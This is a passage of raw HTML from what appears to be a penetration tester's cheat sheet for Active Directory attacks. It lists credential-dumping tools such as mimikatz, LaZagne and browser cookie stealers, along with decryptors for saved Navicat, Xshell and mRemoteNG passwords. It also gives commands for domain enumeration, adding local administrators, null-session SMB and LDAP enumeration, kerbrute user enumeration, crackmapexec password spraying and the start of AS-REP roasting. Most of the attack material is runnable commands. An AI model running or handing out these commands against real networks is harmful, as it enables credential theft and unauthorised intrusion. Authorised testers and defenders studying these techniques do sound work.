habits&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;History, favorites, documents, etc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;8. Obtain the current user&amp;#39;s password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-WCMDump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimiDbg&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LaZagne&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NirLauncher )&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;quarkspwdump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Linux&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimipenguin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LaZagne&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Browsers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HackBrowserData&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpWeb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpDPAPI&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;360SafeBrowsergetpass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;BrowserGhost&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Browser-cookie-steal (steal browser cookies)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Navicat passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Versions: Navicat 11 or 12&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Method: https://blog.csdn.net/CCESARE/article/details/104746596&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decryption script: https://github.com/tianhe1986/FatSmallTools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/HyperSine/how-does-navicat-encrypt-password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Xshell and Xftp passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/dzxs/Xdecrypt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mRemoteNG passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/kmahyyg/mremoteng-decrypt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/haseebT/mRemoteNG-Decrypt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Common port scanning tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;masscan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zmap&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S Scanner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Custom scripts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;……&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Internal network topology analysis&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DMZ&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Management network&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Production network&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Test network&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Common information-gathering commands&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig /all ------&amp;gt; Query the local IP range, domain, etc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# net&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user ------&amp;gt; List local users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net localgroup administrators ------&amp;gt; List local administrators [usually includes domain users]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user /domain ------&amp;gt; Query domain users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group /domain ------&amp;gt; Query groups in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;domain admins&amp;#34; /domain ------&amp;gt; Query the Domain Admins group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net localgroup administrators /domain ------&amp;gt; List domain administrators logged on to the local host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net localgroup administrators workgroup\user001 /add -----&amp;gt; Add a domain user to the local host net group &amp;#34;Domain controllers&amp;#34; -------&amp;gt; List domain controllers (if there are multiple)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net view ------&amp;gt; List machines in the same domain net view /domain ------&amp;gt; List domains&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net view /domain:domainname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# dsquery&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery computer domainroot -limit 65535 &amp;amp;&amp;amp; net group &amp;#34;domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;computers&amp;#34; /domain ------&amp;gt; List all machine names in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery computer ------&amp;gt; List machine names&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery user domainroot -limit 65535 &amp;amp;&amp;amp; net user /domain------&amp;gt; List all usernames in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery subnet ------&amp;gt; List subnet divisions in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery group &amp;amp;&amp;amp; net group /domain ------&amp;gt; List groups in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery ou ------&amp;gt; List organizational units in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery server &amp;amp;&amp;amp; net time /domain------&amp;gt; List domain controllers in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Third-party information gathering&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NETBIOS information gathering&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB information gathering&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Null-session information gathering&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Vulnerability information gathering, etc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="common-commands"&gt;&lt;a href="#common-commands" class="header-anchor"&gt;&lt;/a&gt;Common Commands&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a local account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user /add jerry 123456&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a domain user from a domain member (administrator privileges required)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user /add jerry 123456 /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a domain member on the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user /add jerry 123456&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;After joining the domain, many functions are restricted for standard accounts. The administrator is the domain controller administrator, making many operations difficult.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net localgroup administrators test\jerry /add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This can elevate user jerry in the test domain to local administrator privileges.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Because UAC prevents local administrator privileges from taking effect immediately, sign out and log back in.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When running a local command that requires administrator privileges, select Yes or No at the prompt.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="list-anonymously-accessible-smb-shares"&gt;&lt;a href="#list-anonymously-accessible-smb-shares" class="header-anchor"&gt;&lt;/a&gt;List Anonymously Accessible SMB Shares&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; &amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; enum4linux -a -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H &amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; smbmap -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //&amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //&amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39; # Enumerate SMB shares accessible through a null session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;#39;a&amp;#39; -p &amp;#39;&amp;#39; # Enumerate anonymously accessible SMB shares&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; 192.168.139.153 &amp;amp;&amp;amp; enum4linux -a -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; 192.168.139.153&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H 192.168.139.153 &amp;amp;&amp;amp; smbmap -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H 192.168.139.153&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //192.168.139.153 &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //192.168.139.153&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 192.168.139.153 -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 192.168.139.153 -u &amp;#39;a&amp;#39; -p &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="enumerate-ldap"&gt;&lt;a href="#enumerate-ldap" class="header-anchor"&gt;&lt;/a&gt;Enumerate LDAP&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV --script &amp;#34;ldap* and not brute&amp;#34; -p 389 &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H &amp;lt;ip&amp;gt; -s base&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://10.10.10.161:389 -s base&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local &amp;#34;(objectClass=person)&amp;#34; &amp;#34;*&amp;#34; +&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="find-usernames"&gt;&lt;a href="#find-usernames" class="header-anchor"&gt;&lt;/a&gt;Find Usernames&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -U &amp;lt;dc-ip&amp;gt; | grep &amp;#39;user:&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb &amp;lt;ip&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;#39;&amp;lt;password&amp;gt;&amp;#39; --users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -p 88 --script=krb5-enum-users --script-args=&amp;#34;krb5-enum-users.realm=&amp;#39;&amp;lt;domain&amp;gt;&amp;#39;,userdb=&amp;lt;users_list_file&amp;gt;&amp;#34; &amp;lt;ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OSINT - Find usernames on the internet&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Newly recorded&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.208.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now we have the accounts, but no passwords.&lt;/p&gt;&#10;&lt;h4 id="password-spraying"&gt;&lt;a href="#password-spraying" class="header-anchor"&gt;&lt;/a&gt;Password Spraying&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retrieve the domain password policy:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec &amp;lt;IP&amp;gt; -u &amp;#39;user&amp;#39; -p &amp;#39;password&amp;#39; --pass-pol&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linx -u &amp;#39;username&amp;#39; -p &amp;#39;password&amp;#39; -P &amp;lt;IP&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;dc-ip&amp;gt; -u user.txt -p password.txt --no-bruteforce # Do not brute-force; test only matching user=password pairs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;dc-ip&amp;gt; -u user.txt -p password.txt # Test all combinations; too many failures may trigger lockout depending on the password policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="asrep-roasting-attack"&gt;&lt;a href="#asrep-roasting-attack" class="header-anchor"&gt;&lt;/a&gt;ASREP-Roasting Attack&#10;&lt;/h4&gt;&lt;p&gt;Retrieve hashes&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python GetNPUsers.py &amp;lt;domain&amp;gt;/ -usersfile 